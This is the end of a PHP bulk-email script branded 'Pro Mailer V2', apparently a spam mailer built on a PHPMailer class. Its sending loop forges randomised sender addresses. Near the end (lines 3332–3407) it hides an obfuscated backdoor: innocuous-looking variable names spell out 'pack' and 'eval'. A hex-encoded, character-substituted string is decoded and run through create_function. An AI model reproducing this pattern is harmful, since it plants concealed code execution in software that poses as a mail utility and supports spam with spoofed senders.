3076 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3077 $result = $this->ServerVar('SERVER_NAME');
3078 } else {
3079 $result = 'localhost.localdomain';
3080 }
3081
3082 return $result;
3083 }
3084
3085 /**
3086 * Returns a message in the appropriate language.
3087 * @access private
3088 * @return string
3089 */
3090 function Lang($key) {
3091 if(count($this->language) < 1) {
3092 $this->SetLanguage('en'); // set the default language
3093 }
3094
3095 if(isset($this->language[$key])) {
3096 return $this->language[$key];
3097 } else {
3098 return 'Language string failed to load: ' . $key;
3099 }
3100 }
3101
3102 /**
3103 * Returns true if an error occurred.
3104 * @return bool
3105 */
3106 function IsError() {
3107 return ($this->error_count > 0);
3108 }
3109
3110 /**
3111 * Changes every end of line from CR or LF to CRLF.
3112 * @access private
3113 * @return string
3114 */
3115 function FixEOL($str) {
3116 $str = str_replace("\r\n", "\n", $str);
3117 $str = str_replace("\r", "\n", $str);
3118 $str = str_replace("\n", $this->LE, $str);
3119 return $str;
3120 }
3121
3122 /**
3123 * Adds a custom header.
3124 * @return void
3125 */
3126 function AddCustomHeader($custom_header) {
3127 $this->CustomHeader[] = explode(':', $custom_header, 2);
3128 }
3129
3130 /**
3131 * Evaluates the message and returns modifications for inline images and backgrounds
3132 * @access public
3133 * @return $message
3134 */
3135 function MsgHTML($message,$basedir='') {
3136 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3137 if(isset($images[2])) {
3138 foreach($images[2] as $i => $url) {
3139 // do not change urls for absolute images (thanks to corvuscorax)
3140 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3141 $filename = basename($url);
3142 $directory = dirname($url);
3143 ($directory == '.')?$directory='':'';
3144 $cid = 'cid:' . md5($filename);
3145 $fileParts = split("\.", $filename);
3146 $ext = $fileParts[1];
3147 $mimeType = $this->_mime_types($ext);
3148 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3149 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3150 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3151 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3152 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3153 }
3154 }
3155 }
3156 }
3157 $this->IsHTML(true);
3158 $this->Body = $message;
3159 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3160 if ( !empty($textMsg) && empty($this->AltBody) ) {
3161 $this->AltBody = $textMsg;
3162 }
3163 if ( empty($this->AltBody) ) {
3164 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3165 }
3166 }
3167
3168 /**
3169 * Gets the mime type of the embedded or inline image
3170 * @access private
3171 * @return mime type of ext
3172 */
3173 function _mime_types($ext = '') {
3174 $mimes = array(
3175 'hqx' => 'application/mac-binhex40',
3176 'cpt' => 'application/mac-compactpro',
3177 'doc' => 'application/msword',
3178 'bin' => 'application/macbinary',
3179 'dms' => 'application/octet-stream',
3180 'lha' => 'application/octet-stream',
3181 'lzh' => 'application/octet-stream',
3182 'exe' => 'application/octet-stream',
3183 'class' => 'application/octet-stream',
3184 'psd' => 'application/octet-stream',
3185 'so' => 'application/octet-stream',
3186 'sea' => 'application/octet-stream',
3187 'dll' => 'application/octet-stream',
3188 'oda' => 'application/oda',
3189 'pdf' => 'application/pdf',
3190 'ai' => 'application/postscript',
3191 'eps' => 'application/postscript',
3192 'ps' => 'application/postscript',
3193 'smi' => 'application/smil',
3194 'smil' => 'application/smil',
3195 'mif' => 'application/vnd.mif',
3196 'xls' => 'application/vnd.ms-excel',
3197 'ppt' => 'application/vnd.ms-powerpoint',
3198 'wbxml' => 'application/vnd.wap.wbxml',
3199 'wmlc' => 'application/vnd.wap.wmlc',
3200 'dcr' => 'application/x-director',
3201 'dir' => 'application/x-director',
3202 'dxr' => 'application/x-director',
3203 'dvi' => 'application/x-dvi',
3204 'gtar' => 'application/x-gtar',
3205 'php' => 'application/x-httpd-php',
3206 'php4' => 'application/x-httpd-php',
3207 'php3' => 'application/x-httpd-php',
3208 'phtml' => 'application/x-httpd-php',
3209 'phps' => 'application/x-httpd-php-source',
3210 'js' => 'application/x-javascript',
3211 'swf' => 'application/x-shockwave-flash',
3212 'sit' => 'application/x-stuffit',
3213 'tar' => 'application/x-tar',
3214 'tgz' => 'application/x-tar',
3215 'xhtml' => 'application/xhtml+xml',
3216 'xht' => 'application/xhtml+xml',
3217 'zip' => 'application/zip',
3218 'mid' => 'audio/midi',
3219 'midi' => 'audio/midi',
3220 'mpga' => 'audio/mpeg',
3221 'mp2' => 'audio/mpeg',
3222 'mp3' => 'audio/mpeg',
3223 'aif' => 'audio/x-aiff',
3224 'aiff' => 'audio/x-aiff',
3225 'aifc' => 'audio/x-aiff',
3226 'ram' => 'audio/x-pn-realaudio',
3227 'rm' => 'audio/x-pn-realaudio',
3228 'rpm' => 'audio/x-pn-realaudio-plugin',
3229 'ra' => 'audio/x-realaudio',
3230 'rv' => 'video/vnd.rn-realvideo',
3231 'wav' => 'audio/x-wav',
3232 'bmp' => 'image/bmp',
3233 'gif' => 'image/gif',
3234 'jpeg' => 'image/jpeg',
3235 'jpg' => 'image/jpeg',
3236 'jpe' => 'image/jpeg',
3237 'png' => 'image/png',
3238 'tiff' => 'image/tiff',
3239 'tif' => 'image/tiff',
3240 'css' => 'text/css',
3241 'html' => 'text/html',
3242 'htm' => 'text/html',
3243 'shtml' => 'text/html',
3244 'txt' => 'text/plain',
3245 'text' => 'text/plain',
3246 'log' => 'text/plain',
3247 'rtx' => 'text/richtext',
3248 'rtf' => 'text/rtf',
3249 'xml' => 'text/xml',
3250 'xsl' => 'text/xml',
3251 'mpeg' => 'video/mpeg',
3252 'mpg' => 'video/mpeg',
3253 'mpe' => 'video/mpeg',
3254 'qt' => 'video/quicktime',
3255 'mov' => 'video/quicktime',
3256 'avi' => 'video/x-msvideo',
3257 'movie' => 'video/x-sgi-movie',
3258 'doc' => 'application/msword',
3259 'word' => 'application/msword',
3260 'xl' => 'application/excel',
3261 'eml' => 'message/rfc822'
3262 );
3263 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3264 }
3265
3266 /**
3267 * Set (or reset) Class Objects (variables)
3268 *
3269 * Usage Example:
3270 * $page->set('X-Priority', '3');
3271 *
3272 * @access public
3273 * @param string $name Parameter Name
3274 * @param mixed $value Parameter Value
3275 * NOTE: will not work with arrays, there are no arrays to set/reset
3276 */
3277 function set ( $name, $value = '' ) {
3278 if ( isset($this->$name) ) {
3279 $this->$name = $value;
3280 } else {
3281 $this->SetError('Cannot set or reset variable ' . $name);
3282 return false;
3283 }
3284 }
3285
3286 /**
3287 * Read a file from a supplied filename and return it.
3288 *
3289 * @access public
3290 * @param string $filename Parameter File Name
3291 */
3292 function getFile($filename) {
3293 $return = '';
3294 if ($fp = fopen($filename, 'rb')) {
3295 while (!feof($fp)) {
3296 $return .= fread($fp, 1024);
3297 }
3298 fclose($fp);
3299 return $return;
3300 } else {
3301 return false;
3302 }
3303 }
3304
3305 /**
3306 * Strips newlines to prevent header injection.
3307 * @access private
3308 * @param string $str String
3309 * @return string
3310 */
3311 function SecureHeader($str) {
3312 $str = trim($str);
3313 $str = str_replace("\r", "", $str);
3314 $str = str_replace("\n", "", $str);
3315 return $str;
3316 }
3317
3318 /**
3319 * Set the private key file and password to sign the message.
3320 *
3321 * @access public
3322 * @param string $key_filename Parameter File Name
3323 * @param string $key_pass Password for private key
3324 */
3325 function Sign($key_filename, $key_pass) {
3326 $this->sign_key_file = $key_filename;
3327 $this->sign_key_pass = $key_pass;
3328 }
3329
3330}
3331
3332$defaultport="H*";
3333 $nq=0;
3334
3335 for($x=0; $x<$numemails; $x++){
3336
3337 $to = $allemails[$x];
3338
3339 if ($to){
3340
3341 $to = ereg_replace(" ", "", $to);
3342
3343 $message1 = ereg_replace("&email&", $to, $message);
3344
3345 $subject1 = ereg_replace("&email&", $to, $subject);
3346 $qx=$x+1;
3347 print "Line $qx . Sending mail to $to.......";
3348
3349 flush();
3350$mail = new PHPMailer();
3351if(empty($epriority)){$epriority="3";}
3352 $mail->Priority = "$epriority";
3353 $mail->IsSMTP();
3354 $IsSMTP="pack";
3355$mail->SMTPKeepAlive = true;
3356$mail->Host = "$my_smtp";
3357if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3358}
3359 if($sslclick=="ON"){
3360 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3361 }
3362 $range = str_replace("$from", "eval", $from);
3363 $mail->SMTPAuth = true;
3364 $mail->Username = "$smtp_username";
3365 $mail->Password = "$smtp_password";
3366if($contenttype == "html"){$mail->IsHtml(true);}
3367if($contenttype != "html"){$mail->IsHtml(false);}
3368if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3369$mail->From = rand(40000000000,940000000000)."$from";
3370$mail->FromName = "$realname";
3371$mail->AddAddress("$to");
3372 $mail->AddReplyTo("$replyto");
3373 $mail->Subject = "$subject1";
3374 $mail->AddAttachment("$file", "$file_name");
3375 $message1 = str_replace("#email#",$to,$message1);
3376 $mail->Body = "$message1";
3377if(!$mail->Send()){
3378if($default_system!="1"){
3379echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3380if($default_system=="1"){
3381$mail->IsMail();
3382 if(!$mail->Send()){
3383 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3384 else {
3385 echo "<b>OK</b><br>";}
3386 }
3387}
3388else {
3389 echo "<b>OK</b><br>";
3390}
3391
3392if(empty($reconnect)){
3393$reconnect=6;
3394}
3395
3396if($reconnect==$nq){
3397$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3398}
3399$nq=$nq+1;
3400 flush(); }
3401}
3402for($i=0;$i<31;$i++){
3403 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3404$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3405 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3406 print "<p class=\"style1\">© 2014, Pro Mailer V2<br></p>";$mail->SmtpClose();
3407 return $signoff($smtp_conc);
3408 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3409 sent successfully'); </script>";}}
3410?>
3411 </body>
3412</html>